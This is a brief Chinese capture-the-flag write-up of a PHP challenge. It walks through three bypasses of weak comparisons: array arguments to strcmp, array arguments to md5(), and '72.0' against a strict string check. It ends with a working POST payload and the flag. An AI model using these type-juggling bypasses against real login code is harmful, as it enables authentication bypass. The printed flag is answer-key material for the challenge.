源代码 :
传入参数 :
id
login
name
password
user
if(@strcmp($_POST['user'],$USER))
{
die('user错误!');
}
传入的user 与 常量$USER进行比较
比较函数strcmp,当strcmp第一个参数小于第二个参数时,返回值为负一,反之为正一,相等时为零。
在不知道常量USER的情况下,满足条件,可以破坏数据结构,参数字符串改成数据,即可得到false值
if (isset($_POST['name']) && isset($_POST['password']))
{
if ($_POST['name'] == $_POST['password'] )
{
die('账号密码不能一致!');
}
if (md5($_POST['name']) === md5($_POST['password']))
账号密码不能一致,然后要求 md5 相等 ,可以使用数组绕过
if(is_numeric($_POST['id'])&&$_POST['id']!=='72' && !preg_match('/\s/', $_POST['
{
if($_POST['id']==72)
die("flag{poipodajhdkayy}");
else
die("ID错误2!");
}
传入id 需要是数字,if中全类型比较,不是72,可以使用小数类型绕过,然后不含空格,输入flag
Payload:
id=72.0&login=Check&name[]=a&password[]=b&user[]=2